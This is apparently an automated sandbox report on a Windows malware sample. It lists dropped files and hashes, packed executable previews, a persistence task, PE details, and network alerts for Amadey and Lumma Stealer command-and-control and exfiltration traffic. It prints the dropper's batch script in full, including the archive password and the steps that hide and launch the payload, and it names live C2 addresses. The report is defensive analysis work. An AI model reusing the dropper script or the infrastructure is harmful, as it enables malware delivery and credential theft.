#..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.47521512957776
Encrypted:	false
SSDEEP:	6:NaxSTXUhXUEZ+lX1CGdKUe6tE9+AQy0lx0ut0:NSU4Q1CGAFD9+nVOut0
MD5:	6877AF701A6C73D4ED22816503A04707
SHA1:	8D7214F30FB40D3E10A1C91786AD6ED7DBBF4F75
SHA-256:	040B08D9ECCCFAC2B0DB6FEBF910772F38922E46920BFB96F7FEF788FFF456F9
SHA-512:	3C4893BF668D91A7BDBC3F80DF9680F41F50C1E089D7AFF014CE999FA9502BA05000F0E8F19CA5F0DDD2806AAE510473939162B816EAFDF76E01C747AA17BC8A
Malicious:	false
Preview:	.....?.u...M...h.B`.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.542697972844218
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'943'488 bytes
MD5:	65f41a5703887beeba49a84ca30bae19
SHA1:	1ae160165e2ba85f3b90d34b451fe965ce51701e
SHA256:	e99443934269e932c08bf7928da5ff5c5fae2cc72794380d5f7f7a2d0f7bc46e
SHA512:	62d2c181b59a8d74978f7a9a335472c119e599c3106c979fb3f02663d22becb7c584d84f6dd6c4b4499997d72ec67cf4274643a4ae09485a90ae8f543ce9f6bb
SSDEEP:	24576:4ec0z/YLlWxLAYD4LdIS7YRsgesjOT/aADjxyRyznuRr3iNQ8TKSurHU8wyRHUvI:jDk0L9sKSGdW/HVl9iHzw7aipAP
TLSH:	EED53BA6B80572CBD48E16B49527CD6E987D47B917204DC3A83C787AFD63CC216F9C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x709000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD90943FD9Ah
bswap eax
sub al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD909441D95h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x307de8	0x10	eokeitfr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x307d98	0x18	eokeitfr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	d7773c15a2216668b26f9f0f3675c5e9	False	0.9976956318119891	data	7.9768208267474385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eokeitfr	0x6b000	0x29d000	0x29ce00	a0bbf866742fcf8602ede13f82262983	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xdqbfquo	0x308000	0x1000	0x400	00e7e18dde6f4d3824e500be808d5eb2	False	0.71875	data	5.709899581413696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x309000	0x3000	0x2200	b0a036a781c2ee04e8ae9ae4a1867242	False	0.05974264705882353	DOS executable (COM)	0.7120770624414909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T11:09:07.023758+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49862	185.215.113.43	80	TCP
2024-12-18T11:09:11.447771+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49877	31.41.244.11	80	TCP
2024-12-18T11:09:15.670084+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49871	TCP
2024-12-18T11:09:17.000758+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49888	185.215.113.43	80	TCP
2024-12-18T11:09:17.031543+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	52014	1.1.1.1	53	UDP
2024-12-18T11:09:17.256337+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	54533	1.1.1.1	53	UDP
2024-12-18T11:09:18.448636+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49894	31.41.244.11	80	TCP
2024-12-18T11:09:18.796849+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:18.796849+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:23.641530+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49907	185.215.113.43	80	TCP
2024-12-18T11:09:24.917554+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49913	104.21.23.76	443	TCP
2024-12-18T11:09:25.083891+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49912	31.41.244.11	80	TCP
2024-12-18T11:09:26.361720+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:26.361720+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:27.591453+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:27.591453+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:29.578095+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49913	104.21.23.76	443	TCP
2024-12-18T11:09:29.578095+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49913	104.21.23.76	443	TCP
2024-12-18T11:09:30.798177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49929	104.21.23.76	443	TCP
2024-12-18T11:09:37.782805+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49940	185.215.113.43	80	TCP
2024-12-18T11:09:41.213302+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:41.213302+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:42.876304+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:42.876304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:44.355879+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49929	104.21.23.76	443	TCP
2024-12-18T11:09:44.355879+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49929	104.21.23.76	443	TCP
2024-12-18T11:09:45.288765+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49966	31.41.244.11	80	TCP
2024-12-18T11:09:46.023928+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49971	104.21.23.76	443	TCP
2024-12-18T11:09:49.115738+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:50.491708+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49980	172.67.179.109	443	TCP
2024-12-18T11:09:50.491708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49980	172.67.179.109	443	TCP
2024-12-18T11:09:51.248301+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49961	TCP
2024-12-18T11:09:52.583400+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49985	185.215.113.43	80	TCP
2024-12-18T11:09:56.629562+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49971	104.21.23.76	443	TCP
2024-12-18T11:09:58.015741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50000	104.21.23.76	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:09:05.555834055 CET	49862	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:05.675631046 CET	80	49862	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:05.675798893 CET	49862	80	192.168.2.6	185.215.113.43
